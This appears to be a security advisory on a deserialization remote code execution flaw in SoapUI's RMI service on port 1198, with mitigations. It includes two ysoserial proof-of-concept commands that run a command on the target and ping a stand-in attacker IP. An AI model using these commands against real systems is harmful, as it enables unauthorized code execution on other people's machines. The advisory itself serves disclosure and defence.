Title: SmartBear SoapUI - Remote Code Execution via Deserialization
Author: Jakub Palaczynski
Date: 12. July 2017

Exploit tested on:
==================
SoapUI 5.3.0
Also works on older versions.

Vulnerability:
**************

Remote Code Execution via Deserialization:
=================================

SoapUI by default listens on all interfaces on TCP port 1198 where you
can find SoapUI Integration (RMI) instance. SoapUI uses vulnerable
Java libraries (commons-collections-3.2.1.jar and
groovy-all-2.1.7.jar) which can be used to remotly execute commands
with permissions of user that started SoapUI.

Entry point:
Java RMI Registry on TCP port 1198
Vulnerable libraries used - commons-collections-3.2.1.jar and
groovy-all-2.1.7.jar

Proof of Concept:
Sample PoC using Commons Collections vulnerable library:
java -cp ysoserial-0.0.5-SNAPSHOT.jar
ysoserial.exploit.RMIRegistryExploit SOAPUI_IP 1198
CommonsCollections1 'ping OUR_IP'
Sample PoC using Groovy vulnerable library:
java -cp ysoserial-0.0.5-SNAPSHOT.jar
ysoserial.exploit.RMIRegistryExploit SOAPUI_IP 1198 Groovy1 'ping
OUR_IP'

Mitigations:
- bind SoapUI Integration instance to localhost if possible
- update all Java libraries that are known to be vulnerable:
commons-collections-3.2.1.jar
groovy-all-2.1.7.jar
